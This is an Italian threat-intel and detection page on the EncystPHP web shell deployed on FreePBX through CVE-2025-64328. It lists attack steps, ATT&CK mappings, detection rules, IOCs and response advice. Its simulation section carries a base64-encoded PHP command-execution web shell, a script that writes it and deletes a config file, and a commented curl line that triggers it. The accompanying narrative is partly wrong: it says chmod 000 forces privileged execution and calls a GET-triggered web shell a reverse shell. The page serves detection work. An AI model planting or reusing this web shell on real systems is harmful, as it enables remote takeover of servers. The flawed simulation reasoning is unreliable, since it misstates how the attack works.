EncystPHP: Web Shell FreePBX Armato per Compromissione Amministrativa Persistente
Detection stack
- AIDR
- Alert
- ETL
- Query
Sommario
FortiGuard Labs segnala una web shell PHP soprannominata EncystPHP distribuita su istanze FreePBX esposte sfruttando CVE-2025-64328. L’impianto consente l’esecuzione di comandi remoti, fornisce utenti privilegiati e imposta una persistenza stratificata tramite cron job e dropper successivi. L’attività è collegata al gruppo INJ3CTOR3 e sembra mirata agli ambienti di telecomunicazione. Gli indicatori pubblicati includono IP malevoli, domini, URL e piĂą percorsi di file ostili.
Indagine
Gli investigatori hanno rintracciato l’accesso iniziale a un difetto di iniezione di comandi post-autenticazione nel FreePBX Endpoint Manager. Dopo uno sfruttamento riuscito, l’operatore preleva un dropper da 45.234.176.202, allenta le autorizzazioni sui componenti chiave PHP, estrae le credenziali del database, crea un account a livello di root e aggiunge una chiave SSH controllata dall’attaccante. La persistenza viene rafforzata con voci cron che ripetutamente scaricano ulteriori dropper e aggiornano gli artefatti. EncystPHP imita anche i file legittimi di FreePBX e manipola i timestamp per ridurre la visibilitĂ durante la triage routine.
Mitigazione
Aggiornare il FreePBX Endpoint Manager per risolvere CVE-2025-64328 (e qualsiasi correzione correlata) il prima possibile. Cacciare file web shell non autorizzati, pianificazioni cron sospette e nuovi utenti locali privilegiati creati di recente. Bloccare l’uscita HTTP verso infrastrutture malevoli conosciute e applicare permessi rigorosi e con il minore privilegio su directory esposte al web e asset PHP.
Risposta
Alla rilevazione, isolare il server PBX colpito, rimuovere gli artefatti EncystPHP, eliminare i cron job non autorizzati e reimpostare account locali e chiavi SSH. Rivedere i log e i backup delle configurazioni per definire l’ambito delle modifiche, quindi applicare gli aggiornamenti di sicurezza correnti e rafforzare l’interfaccia web. Validare che non rimangano droppers secondari o meccanismi di persistenza prima di ripristinare le normali operazioni di telefonia.
graph TB %% Class Definitions classDef action fill:#99ccff classDef tool fill:#ffcc99 classDef file fill:#ccffcc classDef process fill:#ffeb99 %% Nodes initial_access[“<b>Azione</b> – <b>T1190 Sfruttamento di Applicazione Esposta al Pubblico</b><br/>Sfruttamento del gestore endpoint FreePBX CVE-2025-64328”] class initial_access action tool_wget[“<b>Strumento</b> – <b>Nome</b>: wget<br/><b>Descrizione</b>: download di file tramite HTTP”] class tool_wget tool process_shell[“<b>Processo</b> – <b>T1059.004 Interprete di Comandi e Script: Unix Shell</b><br/>Script bash decodificati da Base64 c, k.php, test.sh”] class process_shell process file_c[“<b>File</b> – c (script bash)”] class file_c file file_kphp[“<b>File</b> – k.php (dropper PHP)”] class file_kphp file file_testsh[“<b>File</b> – test.sh (script bash)”] class file_testsh file credential_access[“<b>Azione</b> – <b>T1003 Dump delle Credenziali del Sistema Operativo</b><br/>Raccolta delle credenziali del database da /etc/freepbx.conf”] class credential_access action file_freepbxconf[“<b>File</b> – /etc/freepbx.conf”] class file_freepbxconf file priv_esc_exploit[“<b>Azione</b> – <b>T1068 Sfruttamento per l’Escalation dei Privilegi</b>”] class priv_esc_exploit action account_create[“<b>Azione</b> – <b>T1136.001 Creazione Account: Account Locale</b><br/>Creato utente a livello root newfpbx con hash di password preimpostato”] class account_create action persistence_webshell[“<b>Azione</b> – <b>T1505.003 Componente Software del Server: Web Shell</b><br/>Distribuzione di EncystPHP mascherato come ajax.php e config.php”] class persistence_webshell action file_ajaxphp[“<b>File</b> – ajax.php (web shell)”] class file_ajaxphp file file_configphp[“<b>File</b> – config.php (web shell)”] class file_configphp file persistence_cron[“<b>Azione</b> – <b>T1053.003 AttivitĂ /Lavoro Pianificato: Cron</b><br/>Installazione di job cron per scaricare ed eseguire k.php ogni minuto”] class persistence_cron action defense_perm_mod[“<b>Azione</b> – <b>T1222.002 Modifica dei Permessi di File e Directory: Linux</b><br/>Impostazione dei permessi dei file a 000 e falsificazione dei timestamp”] class defense_perm_mod action defense_masquerade[“<b>Azione</b> – <b>T1036.005 Mascheramento</b><br/>Posizionamento delle shell in percorsi dall’aspetto legittimo”] class defense_masquerade action defense_indicator_removal[“<b>Azione</b> – <b>T1070.004 Eliminazione di File</b> e <b>T1070.006 Alterazione dei Timestamp</b><br/>Eliminazione dei log e delle voci cron, allineamento dei timestamp dei file”] class defense_indicator_removal action lateral_movement_ssh[“<b>Azione</b> – <b>T1021.004 Servizi Remoti: SSH</b> e <b>T1098.004 Chiavi Autorizzate SSH</b><br/>Inserimento della chiave pubblica dell’attaccante in authorized_keys”] class lateral_movement_ssh action command_and_control[“<b>Azione</b> – <b>T1105 Trasferimento di Strumenti in Ingresso</b> e <b>T1071.001 Protocollo di Livello Applicazione: Protocolli Web</b><br/>Recupero dei dropper da 45.234.176.202 tramite wget”] class command_and_control action impact_hijack[“<b>Azione</b> – <b>T1496 Dirottamento delle Risorse</b><br/>Utilizzo del PBX per effettuare chiamate in uscita non autorizzate”] class impact_hijack action defense_impair[“<b>Azione</b> – <b>T1562.001 Compromissione delle Difese</b> e <b>T1548 Abuso dei Meccanismi di Controllo dell’Escalation dei Privilegi</b><br/>Disabilitazione della segnalazione degli errori e utilizzo del contesto amministrativo per modifiche di sistema”] class defense_impair action %% Edges initial_access –>|utilizza| tool_wget tool_wget –>|scarica| file_c tool_wget –>|scarica| file_kphp tool_wget –>|scarica| file_testsh initial_access –>|porta a| process_shell process_shell –>|esegue| file_c process_shell –>|esegue| file_kphp process_shell –>|esegue| file_testsh process_shell –>|porta a| credential_access credential_access –>|legge| file_freepbxconf credential_access –>|abilita| priv_esc_exploit priv_esc_exploit –>|abilita| account_create account_create –>|abilita| persistence_webshell persistence_webshell –>|crea| file_ajaxphp persistence_webshell –>|crea| file_configphp persistence_webshell –>|abilita| persistence_cron persistence_cron –>|crea| file_kphp persistence_cron –>|utilizza| tool_wget persistence_cron –>|imposta| defense_perm_mod defense_perm_mod –>|supporta| defense_masquerade defense_masquerade –>|supporta| defense_indicator_removal persistence_webshell –>|supporta| lateral_movement_ssh lateral_movement_ssh –>|abilita| command_and_control command_and_control –>|fornisce| impact_hijack command_and_control –>|supporta| defense_impair
Flusso di Attacco
Rilevamenti
Possibile Nuovo Account per la Persistenza [Linux] (via cmdline)
Visualizza
File Cron Creato (via file_event)
Visualizza
Download in Cartelle Sospette (via cmdline)
Visualizza
Possibile Tentativo di Scoperta di SSH Known Hosts [MacOS] (via cmdline)
Visualizza
Possibile Manipolazione di Stringhe Codificate in Base64 (via cmdline)
Visualizza
IOC (IP di Destinazione) da rilevare: Svelamento della Web Shell EncystPHP Arma Una Web Shell Persistente di FreePBX Abilitando l’Infrazione Amministrativa a Lungo Termine
Visualizza
IOC (HashSha256) da rilevare: Svelamento della Web Shell EncystPHP Arma Una Web Shell Persistente di FreePBX Abilitando l’Infrazione Amministrativa a Lungo Termine
Visualizza
IOC (IP di Sorgente) da rilevare: Svelamento della Web Shell EncystPHP Arma Una Web Shell Persistente di FreePBX Abilitando l’Infrazione Amministrativa a Lungo Termine
Visualizza
Rileva Voci Crontab per il Download Persistente di k.php e c Dropper [Creazione di Processo Linux]
Visualizza
Distribuzione e Persistenza della Web Shell EncystPHP tramite CVE-2025-64328 [Creazione di Processo Linux]
Visualizza
Rilevamento dell’AttivitĂ della Web Shell EncystPHP in FreePBX [Evento File Linux]
Visualizza
Esecuzione di Simulazione
Prerequisito: Il Controllo Pre-volo di Telemetria e Baseline deve essere passato.
Ragionamento: Questa sezione dettaglia l’esecuzione precisa della tecnica avversaria (TTP) progettata per attivare la regola di rilevamento. I comandi e la narrazione DEVONO riflettere direttamente i TTP identificati e mirare a generare esattamente la telemetria prevista dalla logica di rilevamento.
-
Narrativa e Comandi dell’Attacco:
- Carica la web shell EncystPHP – L’attaccante crea un payload PHP codificato in Base64 e lo consegna tramite un HTTP POST all’interfaccia web di FreePBX, facendo sì che il file
ajax.phpsia scritto in/var/www/html/admin/views/ajax.php. - Imposta permessi restrittivi – Subito dopo la distribuzione, l’attaccante esegue
chmod 000 ajax.phpper nascondere la shell agli utenti normali e forzare l’esecuzione sotto l’account privilegiato del server web (T1222.002). - Elimina configurazione critica – Per compromettere il rilevamento e forzare il sistema a ricaricarsi con la shell malevola, l’attaccante rimuove
/etc/freepbx.conf(T1070.004, T1562.001). - Attiva la shell – Una semplice richiesta HTTP GET al
ajax.phpappena creato esegue il payload, stabilendo una shell inversa (T1105, T1059.004).
- Carica la web shell EncystPHP – L’attaccante crea un payload PHP codificato in Base64 e lo consegna tramite un HTTP POST all’interfaccia web di FreePBX, facendo sì che il file
-
Script di Test di Regressione: Lo script riproduce i passaggi 1-3 in una directory di test controllata (
/tmp/freepbx_test) per evitare di influenzare un sistema di produzione.# encystphp_simulation.sh set -euo pipefail # ----- Configurazione delle directory di test (rispecchiante il layout di FreePBX) ----- TEST_ROOT="/tmp/freepbx_test" WEB_ROOT="${TEST_ROOT}/var/www/html/admin/views" CONFIG_FILE="${TEST_ROOT}/etc/freepbx.conf" sudo mkdir -p "${WEB_ROOT}" sudo mkdir -p "$(dirname "${CONFIG_FILE}")" # ----- Crea file di configurazione dummy (verrĂ cancellato) ----- echo "freepbx configuration" | sudo tee "${CONFIG_FILE}" > /dev/null # ----- Payload EncystPHP codificato in Base64 (molto piccolo stub) ----- PAYLOAD_B64="PD9waHAKc3lzdGVtKCRfR0VUWydjbWQnXSk7Cj8+" # ----- Passaggio 1: Distribuzione della web shell ----- echo "${PAYLOAD_B64}" | base64 -d | sudo tee "${WEB_ROOT}/ajax.php" > /dev/null echo "Web shell distribuita su ${WEB_ROOT}/ajax.php" # ----- Passaggio 2: Permessi restrittivi (000) ----- sudo chmod 000 "${WEB_ROOT}/ajax.php" echo "Permessi impostati a 000" # ----- Passaggio 3: Elimina file di configurazione critico ----- sudo rm -f "${CONFIG_FILE}" echo "${CONFIG_FILE} eliminato" # ----- Facoltativo: attiva la shell (simulato) ----- # curl -s "http://localhost/admin/views/ajax.php?cmd=id" echo "Simulazione completata. Controllare SIEM per avvisi." -
Comandi di Pulizia:
# cleanup_encystphp_simulation.sh set -euo pipefail TEST_ROOT="/tmp/freepbx_test" sudo rm -rf "${TEST_ROOT}" echo "Ambiente di test pulito."